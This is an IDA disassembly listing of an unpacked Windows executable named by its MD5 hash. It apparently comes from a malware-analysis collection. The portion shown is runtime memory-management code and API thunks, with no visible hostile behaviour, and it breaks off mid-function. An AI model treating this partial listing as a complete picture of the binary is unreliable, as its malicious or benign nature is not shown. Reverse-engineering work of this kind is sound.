; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 15DCD884CA760CF4CAE91AE378215EA2 ; File Name : u:\work\15dcd884ca760cf4cae91ae378215ea2_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 10000000 ; Section 1. (virtual address 00001000) ; Virtual size : 00006984 ( 27012.) ; Section size in file : 00006984 ( 27012.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute CODE segment para public 'CODE' use32 assume cs:CODE ;org 10001000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001000 proc near ; CODE XREF: sub_10002F48+39p ; sub_10002F48+54p jmp ds:dword_1000B0E0 sub_10001000 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001008 proc near ; CODE XREF: sub_10002944+14p ; sub_10002960+16p ... jmp ds:dword_1000B0DC sub_10001008 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001010 proc near ; CODE XREF: sub_10002DBC-2B6p ; CODE:10002D14p ; DATA XREF: ... jmp ds:dword_1000B0D8 sub_10001010 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001018 proc near ; CODE XREF: sub_10002DBC-31Ep ; sub_10002DBC-2E1p ... jmp ds:dword_1000B0D4 sub_10001018 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001020 proc near ; CODE XREF: sub_10002F48+3Fp ; sub_10002F48+5Ap jmp ds:dword_1000B0D0 sub_10001020 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001028 proc near ; CODE XREF: sub_1000258C+Bp ; sub_1000258C+37p ... jmp ds:dword_1000B0F0 sub_10001028 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001030 proc near ; CODE XREF: sub_10002FD4+BAp jmp ds:dword_1000B0CC sub_10001030 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001038 proc near ; CODE XREF: sub_10002F48+78p jmp ds:dword_1000B0EC sub_10001038 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001040 proc near ; CODE XREF: sub_10002FD4+85p jmp ds:dword_1000B0C8 sub_10001040 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001048 proc near ; CODE XREF: sub_10002678:loc_100026AEp ; CODE:1000352Cp jmp ds:dword_1000B0C4 sub_10001048 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001050 proc near ; CODE XREF: sub_100033E0+26p jmp ds:dword_1000B0C0 sub_10001050 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001058 proc near ; CODE XREF: sub_10002678+24p jmp ds:dword_1000B0BC sub_10001058 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001060 proc near ; CODE XREF: sub_10001098+Ap jmp ds:dword_1000B0B8 sub_10001060 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001068 proc near ; CODE XREF: CODE:loc_1000356Dp ; CODE:loc_1000357Ep jmp ds:dword_1000B0B4 sub_10001068 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001070 proc near ; CODE XREF: sub_10002868+6Bp jmp ds:dword_1000B100 sub_10001070 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001078 proc near ; CODE XREF: sub_10002868+22p jmp ds:dword_1000B0FC sub_10001078 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001080 proc near ; CODE XREF: sub_10002868+55p jmp ds:dword_1000B0F8 sub_10001080 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001088 proc near ; CODE XREF: CODE:loc_1000358Dp jmp ds:dword_1000B0B0 sub_10001088 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001090 proc near ; CODE XREF: CODE:10003540p ; CODE:10003551p jmp ds:dword_1000B0AC sub_10001090 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001098 proc near ; CODE XREF: CODE:10003536p var_1C = word ptr -1Ch var_18 = word ptr -18h push ebx add esp, 0FFFFFFBCh mov ebx, 0Ah push esp call sub_10001060 ; GetStartupInfoA test byte ptr [esp+48h+var_1C], 1 jz short loc_100010B3 movzx ebx, [esp+48h+var_18] loc_100010B3: ; CODE XREF: sub_10001098+14j mov eax, ebx add esp, 44h pop ebx retn sub_10001098 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010BC proc near ; CODE XREF: sub_100010FC+13p ; sub_10001788+53p jmp ds:dword_1000B0A8 sub_100010BC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010C4 proc near ; CODE XREF: sub_1000184C+3Fp ; sub_1000184C+9Dp jmp ds:dword_1000B0A4 sub_100010C4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010CC proc near ; CODE XREF: sub_100012A0+2Fp ; sub_10001304+1Ep ... jmp ds:dword_1000B0A0 sub_100010CC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010D4 proc near ; CODE XREF: sub_100012A0+56p ; sub_10001304+69p ... jmp ds:dword_1000B09C sub_100010D4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010DC proc near ; CODE XREF: sub_10001788+16p jmp ds:dword_1000B098 sub_100010DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010E4 proc near ; CODE XREF: sub_10001788+29p ; sub_1000184C+2Dp ... jmp ds:dword_1000B094 sub_100010E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010EC proc near ; CODE XREF: sub_10001788+B0p ; sub_1000184C+C6p ... jmp ds:dword_1000B090 sub_100010EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100010F4 proc near ; CODE XREF: sub_1000184C+D0p jmp ds:dword_1000B08C sub_100010F4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100010FC proc near ; CODE XREF: sub_10001154+6p push ebx push esi mov esi, offset dword_1000A5D0 cmp dword ptr [esi], 0 jnz short loc_10001142 push 644h push 0 call sub_100010BC ; LocalAlloc mov ecx, eax test ecx, ecx jnz short loc_1000111F xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_1000111F: ; CODE XREF: sub_100010FC+1Cj mov eax, ds:dword_1000A5CC mov [ecx], eax mov ds:dword_1000A5CC, ecx xor edx, edx loc_1000112E: ; CODE XREF: sub_100010FC+44j mov eax, edx add eax, eax lea eax, [ecx+eax*8+4] mov ebx, [esi] mov [eax], ebx mov [esi], eax inc edx cmp edx, 64h jnz short loc_1000112E loc_10001142: ; CODE XREF: sub_100010FC+Aj mov eax, [esi] mov edx, [eax] mov [esi], edx pop esi pop ebx retn sub_100010FC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000114C proc near ; CODE XREF: sub_10001788+33p ; sub_10001788+3Dp ... mov [eax], eax mov [eax+4], eax retn sub_1000114C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001154 proc near ; CODE XREF: sub_1000119C+5Dp ; sub_1000120C+73p ... push ebx push esi mov esi, edx mov ebx, eax call sub_100010FC test eax, eax jnz short loc_10001168 xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_10001168: ; CODE XREF: sub_10001154+Dj mov edx, [esi] mov [eax+8], edx mov edx, [esi+4] mov [eax+0Ch], edx mov edx, [ebx] mov [eax], edx mov [eax+4], ebx mov [edx+4], eax mov [ebx], eax mov al, 1 pop esi pop ebx retn sub_10001154 endp ; =============== S U B R O U T I N E ======================================= sub_10001184 proc near ; CODE XREF: sub_1000119C+2Cp ; sub_1000119C+48p ... mov edx, [eax+4] mov ecx, [eax] mov [edx], ecx mov [ecx+4], edx mov edx, ds:dword_1000A5D0 mov [eax], edx mov ds:dword_1000A5D0, eax retn sub_10001184 endp ; =============== S U B R O U T I N E ======================================= sub_1000119C proc near ; CODE XREF: sub_10001548+6Cp ; sub_100015D8+62p ... var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov esi, ecx mov [esp+14h+var_14], edx mov ebp, eax mov ebx, [ebp+0] mov eax, [esp+14h+var_14] mov edx, [eax] mov [esi], edx mov edx, [eax+4] mov [esi+4], edx loc_100011B8: ; CODE XREF: sub_1000119C+57j mov edi, [ebx] mov eax, [esi] mov edx, [ebx+8] add edx, [ebx+0Ch] cmp eax, edx jnz short loc_100011DA mov eax, ebx call sub_10001184 mov eax, [ebx+8] mov [esi], eax mov eax, [ebx+0Ch] add [esi+4], eax jmp short loc_100011EF ; --------------------------------------------------------------------------- loc_100011DA: ; CODE XREF: sub_1000119C+28j add eax, [esi+4] cmp eax, [ebx+8] jnz short loc_100011EF mov eax, ebx call sub_10001184 mov eax, [ebx+0Ch] add [esi+4], eax loc_100011EF: ; CODE XREF: sub_1000119C+3Cj ; sub_1000119C+44j mov ebx, edi cmp ebp, ebx jnz short loc_100011B8 mov edx, esi mov eax, ebp call sub_10001154 test al, al jnz short loc_10001206 xor eax, eax mov [esi], eax loc_10001206: ; CODE XREF: sub_1000119C+64j pop edx pop ebp pop edi pop esi pop ebx retn sub_1000119C endp ; =============== S U B R O U T I N E ======================================= sub_1000120C proc near ; CODE XREF: sub_100016FC+7Ap ; sub_10001AE4+99p var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov ebx, eax mov edi, ebx loc_10001217: ; CODE XREF: sub_1000120C+88j mov esi, [edx] mov eax, [ebx+8] cmp esi, eax jb short loc_10001290 mov ecx, esi add ecx, [edx+4] mov ebp, eax add ebp, [ebx+0Ch] cmp ecx, ebp ja short loc_10001290 cmp esi, eax jnz short loc_1000124D mov eax, [edx+4] add [ebx+8], eax mov eax, [edx+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_1000128C mov eax, ebx call sub_10001184 jmp short loc_1000128C ; --------------------------------------------------------------------------- loc_1000124D: ; CODE XREF: sub_1000120C+24j mov ecx, esi mov edi, [edx+4] add ecx, edi mov ebp, eax add ebp, [ebx+0Ch] cmp ecx, ebp jnz short loc_10001262 sub [ebx+0Ch], edi jmp short loc_1000128C ; --------------------------------------------------------------------------- loc_10001262: ; CODE XREF: sub_1000120C+4Fj mov ecx, [edx] add ecx, [edx+4] mov [esp+18h+var_18], ecx mov edi, [ebx+8] add edi, [ebx+0Ch] sub edi, ecx mov [esp+18h+var_14], edi sub esi, eax mov [ebx+0Ch], esi mov edx, esp mov eax, ebx call sub_10001154 test al, al jnz short loc_1000128C xor eax, eax jmp short loc_10001298 ; --------------------------------------------------------------------------- loc_1000128C: ; CODE XREF: sub_1000120C+36j ; sub_1000120C+3Fj ... mov al, 1 jmp short loc_10001298 ; --------------------------------------------------------------------------- loc_10001290: ; CODE XREF: sub_1000120C+12j ; sub_1000120C+20j mov ebx, [ebx] cmp edi, ebx jnz short loc_10001217 xor eax, eax loc_10001298: ; CODE XREF: sub_1000120C+7Ej ; sub_1000120C+82j pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_1000120C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100012A0 proc near ; CODE XREF: sub_10001548+5Cp push ebx push esi push edi mov ebx, edx mov esi, eax cmp esi, 100000h jge short loc_100012B6 mov esi, 100000h jmp short loc_100012C2 ; --------------------------------------------------------------------------- loc_100012B6: ; CODE XREF: sub_100012A0+Dj add esi, 0FFFFh and esi, 0FFFF0000h loc_100012C2: ; CODE XREF: sub_100012A0+14j mov [ebx+4], esi push 1 push 2000h push esi push 0 call sub_100010CC ; VirtualAlloc mov edi, eax mov [ebx], edi test edi, edi jz short loc_100012FF mov edx, ebx mov eax, offset dword_1000A5D4 call sub_10001154 test al, al jnz short loc_100012FF push 8000h push 0 mov eax, [ebx] push eax call sub_100010D4 ; VirtualFree xor eax, eax mov [ebx], eax loc_100012FF: ; CODE XREF: sub_100012A0+3Aj ; sub_100012A0+4Aj pop edi pop esi pop ebx retn sub_100012A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001304 proc near ; CODE XREF: sub_100015D8+4Cp ; sub_100015D8+93p push ebx push esi push edi push ebp mov ebx, ecx mov esi, edx mov ebp, eax mov dword ptr [ebx+4], 100000h push 4 push 2000h push 100000h push ebp call sub_100010CC ; VirtualAlloc mov edi, eax mov [ebx], edi test edi, edi jnz short loc_1000134E add esi, 0FFFFh and esi, 0FFFF0000h mov [ebx+4], esi push 4 push 2000h push esi push ebp call sub_100010CC ; VirtualAlloc mov [ebx], eax loc_1000134E: ; CODE XREF: sub_10001304+29j cmp dword ptr [ebx], 0 jz short loc_10001376 mov edx, ebx mov eax, offset dword_1000A5D4 call sub_10001154 test al, al jnz short loc_10001376 push 8000h push 0 mov eax, [ebx] push eax call sub_100010D4 ; VirtualFree xor eax, eax mov [ebx], eax loc_10001376: ; CODE XREF: sub_10001304+4Dj ; sub_10001304+5Dj pop ebp pop edi pop esi pop ebx retn sub_10001304 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000137C proc near ; CODE XREF: sub_10001548+7Ep ; sub_100015D8+7Ap ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+24h+var_20], ecx mov [esp+24h+var_24], edx mov [esp+24h+var_1C], 0FFFFFFFFh xor edx, edx mov [esp+24h+var_18], edx mov ebp, eax mov eax, [esp+24h+var_24] add eax, ebp mov [esp+24h+var_14], eax mov ebx, ds:dword_1000A5D4 jmp short loc_100013FC ; --------------------------------------------------------------------------- loc_100013AB: ; CODE XREF: sub_1000137C+86j mov edi, [ebx] mov esi, [ebx+8] cmp ebp, esi ja short loc_100013FA mov eax, esi add eax, [ebx+0Ch] cmp eax, [esp+24h+var_14] ja short loc_100013FA cmp esi, [esp+24h+var_1C] jnb short loc_100013C9 mov [esp+24h+var_1C], esi loc_100013C9: ; CODE XREF: sub_1000137C+47j mov eax, esi add eax, [ebx+0Ch] cmp eax, [esp+24h+var_18] jbe short loc_100013D8 mov [esp+24h+var_18], eax loc_100013D8: ; CODE XREF: sub_1000137C+56j push 8000h push 0 push esi call sub_100010D4 ; VirtualFree test eax, eax jnz short loc_100013F3 mov ds:dword_1000A5B0, 1 loc_100013F3: ; CODE XREF: sub_1000137C+6Bj mov eax, ebx call sub_10001184 loc_100013FA: ; CODE XREF: sub_1000137C+36j ; sub_1000137C+41j mov ebx, edi loc_100013FC: ; CODE XREF: sub_1000137C+2Dj cmp ebx, offset dword_1000A5D4 jnz short loc_100013AB mov eax, [esp+24h+var_20] xor edx, edx mov [eax], edx cmp [esp+24h+var_18], 0 jz short loc_1000142C mov eax, [esp+24h+var_20] mov edx, [esp+24h+var_1C] mov [eax], edx mov eax, [esp+24h+var_18] sub eax, [esp+24h+var_1C] mov edx, [esp+24h+var_20] mov [edx+4], eax loc_1000142C: ; CODE XREF: sub_1000137C+95j add esp, 14h pop ebp pop edi pop esi pop ebx retn sub_1000137C endp ; =============== S U B R O U T I N E ======================================= sub_10001434 proc near ; CODE XREF: sub_10001548+2Dp ; sub_100015D8+E6p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov [esp+1Ch+var_18], ecx mov [esp+1Ch+var_1C], edx mov edx, eax mov ebp, edx and ebp, 0FFFFF000h add edx, [esp+1Ch+var_1C] add edx, 0FFFh and edx, 0FFFFF000h mov [esp+1Ch+var_14], edx mov eax, [esp+1Ch+var_18] mov [eax], ebp mov eax, [esp+1Ch+var_14] sub eax, ebp mov edx, [esp+1Ch+var_18] mov [edx+4], eax mov esi, ds:dword_1000A5D4 jmp short loc_100014B6 ; --------------------------------------------------------------------------- loc_1000147A: ; CODE XREF: sub_10001434+88j mov ebx, [esi+8] mov edi, [esi+0Ch] add edi, ebx cmp ebp, ebx jbe short loc_10001488 mov ebx, ebp loc_10001488: ; CODE XREF: sub_10001434+50j cmp edi, [esp+1Ch+var_14] jbe short loc_10001492 mov edi, [esp+1Ch+var_14] loc_10001492: ; CODE XREF: sub_10001434+58j cmp edi, ebx jbe short loc_100014B4 push 4 push 1000h sub edi, ebx push edi push ebx call sub_100010CC ; VirtualAlloc test eax, eax jnz short loc_100014B4 mov eax, [esp+1Ch+var_18] xor edx, edx mov [eax], edx jmp short loc_100014BE ; --------------------------------------------------------------------------- loc_100014B4: ; CODE XREF: sub_10001434+60j ; sub_10001434+74j mov esi, [esi] loc_100014B6: ; CODE XREF: sub_10001434+44j cmp esi, offset dword_1000A5D4 jnz short loc_1000147A loc_100014BE: ; CODE XREF: sub_10001434+7Ej add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_10001434 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100014C8 proc near ; CODE XREF: sub_100016FC+2Ep var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov ebx, eax mov esi, ebx add esi, 0FFFh and esi, 0FFFFF000h mov [esp+14h+var_14], esi mov ebp, ebx add ebp, edx and ebp, 0FFFFF000h mov eax, [esp+14h+var_14] mov [ecx], eax mov eax, ebp sub eax, [esp+14h+var_14] mov [ecx+4], eax mov esi, ds:dword_1000A5D4 jmp short loc_10001537 ; --------------------------------------------------------------------------- loc_100014FF: ; CODE XREF: sub_100014C8+75j mov ebx, [esi+8] mov edi, [esi+0Ch] add edi, ebx cmp ebx, [esp+14h+var_14] jnb short loc_1000150F mov ebx, [esp+14h+var_14] loc_1000150F: ; CODE XREF: sub_100014C8+42j cmp ebp, edi jnb short loc_10001515 mov edi, ebp loc_10001515: ; CODE XREF: sub_100014C8+49j cmp edi, ebx jbe short loc_10001535 push 4000h sub edi, ebx push edi push ebx call sub_100010D4 ; VirtualFree test eax, eax jnz short loc_10001535 mov ds:dword_1000A5B0, 2 loc_10001535: ; CODE XREF: sub_100014C8+4Fj ; sub_100014C8+61j mov esi, [esi] loc_10001537: ; CODE XREF: sub_100014C8+35j cmp esi, offset dword_1000A5D4 jnz short loc_100014FF pop edx pop ebp pop edi pop esi pop ebx retn sub_100014C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001548 proc near ; CODE XREF: sub_10001CF4+Bp var_18 = dword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov esi, edx mov edi, eax mov ebp, offset dword_1000A5E4 add edi, 3FFFh and edi, 0FFFFC000h loc_10001564: ; CODE XREF: sub_10001548+75j mov ebx, [ebp+0] jmp short loc_1000159C ; --------------------------------------------------------------------------- loc_10001569: ; CODE XREF: sub_10001548+56j cmp edi, [ebx+0Ch] jg short loc_1000159A mov ecx, esi mov edx, edi mov eax, [ebx+8] call sub_10001434 cmp dword ptr [esi], 0 jz short loc_100015CF mov eax, [esi+4] add [ebx+8], eax mov eax, [esi+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_100015CF mov eax, ebx call sub_10001184 jmp short loc_100015CF ; --------------------------------------------------------------------------- loc_1000159A: ; CODE XREF: sub_10001548+24j mov ebx, [ebx] loc_1000159C: ; CODE XREF: sub_10001548+1Fj cmp ebx, ebp jnz short loc_10001569 mov edx, esi mov eax, edi call sub_100012A0 cmp dword ptr [esi], 0 jz short loc_100015CF mov ecx, esp mov edx, esi mov eax, ebp call sub_1000119C cmp [esp+18h+var_18], 0 jnz short loc_10001564 mov ecx, esp mov edx, [esi+4] mov eax, [esi] call sub_1000137C xor eax, eax mov [esi], eax loc_100015CF: ; CODE XREF: sub_10001548+35j ; sub_10001548+47j ... pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_10001548 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100015D8 proc near ; CODE XREF: sub_10001D20+10p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+24h+var_24], ecx mov edi, edx mov esi, eax mov ebp, offset dword_1000A5E4 add edi, 3FFFh and edi, 0FFFFC000h loc_100015F7: ; CODE XREF: sub_100015D8+6Cj ; sub_100015D8+B3j mov ebx, [ebp+0] jmp short loc_100015FE ; --------------------------------------------------------------------------- loc_100015FC: ; CODE XREF: sub_100015D8+2Dj mov ebx, [ebx] loc_100015FE: ; CODE XREF: sub_100015D8+22j cmp ebx, ebp jz short loc_10001607 cmp esi, [ebx+8] jnz short loc_100015FC loc_10001607: ; CODE XREF: sub_100015D8+28j cmp esi, [ebx+8] jnz short loc_10001663 cmp edi, [ebx+0Ch] jle loc_100016AB lea ecx, [esp+24h+var_20] mov edx, edi sub edx, [ebx+0Ch] mov eax, [ebx+8] add eax, [ebx+0Ch] call sub_10001304 cmp [esp+24h+var_20], 0 jz short loc_10001663 lea ecx, [esp+24h+var_18] lea edx, [esp+24h+var_20] mov eax, ebp call sub_1000119C cmp [esp+24h+var_18], 0 jnz short loc_100015F7 lea ecx, [esp+24h+var_18] mov edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] call sub_1000137C mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx jmp loc_100016F3 ; --------------------------------------------------------------------------- loc_10001663: ; CODE XREF: sub_100015D8+32j ; sub_100015D8+56j lea ecx, [esp+24h+var_20] mov edx, edi mov eax, esi call sub_10001304 cmp [esp+24h+var_20], 0 jz short loc_100016AB lea ecx, [esp+24h+var_18] lea edx, [esp+24h+var_20] mov eax, ebp call sub_1000119C cmp [esp+24h+var_18], 0 jnz loc_100015F7 lea ecx, [esp+24h+var_18] mov edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] call sub_1000137C mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx jmp short loc_100016F3 ; --------------------------------------------------------------------------- loc_100016AB: ; CODE XREF: sub_100015D8+37j ; sub_100015D8+9Dj mov ebp, [ebx+8] cmp esi, ebp jnz short loc_100016EC cmp edi, [ebx+0Ch] jg short loc_100016EC mov ecx, [esp+24h+var_24] mov edx, edi mov eax, ebp call sub_10001434 mov eax, [esp+24h+var_24] cmp dword ptr [eax], 0 jz short loc_100016F3 mov eax, [esp+24h+var_24] mov eax, [eax+4] add [ebx+8], eax mov eax, [esp+24h+var_24] mov eax, [eax+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_100016F3 mov eax, ebx call sub_10001184 jmp short loc_100016F3 ; --------------------------------------------------------------------------- loc_100016EC: ; CODE XREF: sub_100015D8+D8j ; sub_100015D8+DDj mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx loc_100016F3: ; CODE XREF: sub_100015D8+86j ; sub_100015D8+D1j ... add esp, 14h pop ebp pop edi pop esi pop ebx retn sub_100015D8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100016FC proc near ; CODE XREF: sub_10001AE4+4Ep ; sub_10001AE4+61p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFECh mov edi, ecx mov [esp+20h+var_20], edx lea ebx, [eax+3FFFh] and ebx, 0FFFFC000h mov esi, [esp+20h+var_20] add esi, eax and esi, 0FFFFC000h cmp ebx, esi jnb short loc_1000177D mov ecx, edi mov edx, esi sub edx, ebx mov eax, ebx call sub_100014C8 lea ecx, [esp+20h+var_1C] mov edx, edi mov eax, offset dword_1000A5E4 call sub_1000119C mov ebx, [esp+20h+var_1C] test ebx, ebx jz short loc_10001766 lea ecx, [esp+20h+var_14] mov edx, [esp+20h+var_18] mov eax, ebx call sub_1000137C mov eax, [esp+20h+var_14] mov [esp+20h+var_1C], eax mov eax, [esp+20h+var_10] mov [esp+20h+var_18], eax loc_10001766: ; CODE XREF: sub_100016FC+49j cmp [esp+20h+var_1C], 0 jz short loc_10001781 lea edx, [esp+20h+var_1C] mov eax, offset dword_1000A5E4 call sub_1000120C jmp short loc_10001781 ; --------------------------------------------------------------------------- loc_1000177D: ; CODE XREF: sub_100016FC+24j xor eax, eax mov [edi], eax loc_10001781: ; CODE XREF: sub_100016FC+6Fj ; sub_100016FC+7Fj add esp, 14h pop edi pop esi pop ebx retn sub_100016FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10001788 proc near ; CODE XREF: sub_10001E74+14p ; sub_10002004+19p ... arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 10002B60 SIZE 00000036 BYTES push ebp mov ebp, esp xor edx, edx push ebp push offset loc_1000183E push dword ptr fs:[edx] mov fs:[edx], esp push offset dword_1000A5B4 call sub_100010DC ; InitializeCriticalSection cmp ds:byte_1000A035, 0 jz short loc_100017B6 push offset dword_1000A5B4 call sub_100010E4 ; RtlEnterCriticalSection loc_100017B6: ; CODE XREF: sub_10001788+22j mov eax, offset dword_1000A5D4 call sub_1000114C mov eax, offset dword_1000A5E4 call sub_1000114C mov eax, offset dword_1000A610 call sub_1000114C push 0FF8h push 0 call sub_100010BC ; LocalAlloc mov ds:dword_1000A60C, eax cmp ds:dword_1000A60C, 0 jz short loc_1000181D mov eax, 3 loc_100017F3: ; CODE XREF: sub_10001788+7Dj mov edx, ds:dword_1000A60C xor ecx, ecx mov [edx+eax*4-0Ch], ecx inc eax cmp eax, 401h jnz short loc_100017F3 mov eax, offset off_1000A5F4 mov [eax+4], eax mov [eax], eax mov ds:off_1000A600, eax mov ds:byte_1000A5AC, 1 loc_1000181D: ; CODE XREF: sub_10001788+64j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10001845 loc_1000182A: ; CODE XREF: sub_10001788+BBj cmp ds:byte_1000A035, 0 jz short locret_1000183D push offset dword_1000A5B4 call sub_100010EC ; RtlLeaveCriticalSection locret_1000183D: ; CODE XREF: sub_10001788+A9j retn ; --------------------------------------------------------------------------- loc_1000183E: ; DATA XREF: sub_10001788+6o jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_1000182A ; --------------------------------------------------------------------------- loc_10001845: ; DATA XREF: sub_10001788+9Do mov al, ds:byte_1000A5AC pop ebp retn sub_10001788 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1000184C proc near ; CODE XREF: CODE:1000348Bp push ebp mov ebp, esp push ebx cmp ds:byte_1000A5AC, 0 jz loc_10001929 xor edx, edx push ebp push offset loc_10001922 push dword ptr fs:[edx] mov fs:[edx], esp cmp ds:byte_1000A035, 0 jz short loc_1000187E push offset dword_1000A5B4 call sub_100010E4 ; RtlEnterCriticalSection loc_1000187E: ; CODE XREF: sub_1000184C+26j mov ds:byte_1000A5AC, 0 mov eax, ds:dword_1000A60C push eax call sub_100010C4 ; LocalFree xor eax, eax mov ds:dword_1000A60C, eax mov ebx, ds:dword_1000A5D4 jmp short loc_100018B1 ; --------------------------------------------------------------------------- loc_1000189F: ; CODE XREF: sub_1000184C+6Bj push 8000h push 0 mov eax, [ebx+8] push eax call sub_100010D4 ; VirtualFree mov ebx, [ebx] loc_100018B1: ; CODE XREF: sub_1000184C+51j cmp ebx, offset dword_1000A5D4 jnz short loc_1000189F mov eax, offset dword_1000A5D4 call sub_1000114C mov eax, offset dword_1000A5E4 call sub_1000114C mov eax, offset dword_1000A610 call sub_1000114C mov eax, ds:dword_1000A5CC test eax, eax jz short loc_100018F7 loc_100018E0: ; CODE XREF: sub_1000184C+A9j mov edx, [eax] mov ds:dword_1000A5CC, edx push eax call sub_100010C4 ; LocalFree mov eax, ds:dword_1000A5CC test eax, eax jnz short loc_100018E0 loc_100018F7: ; CODE XREF: 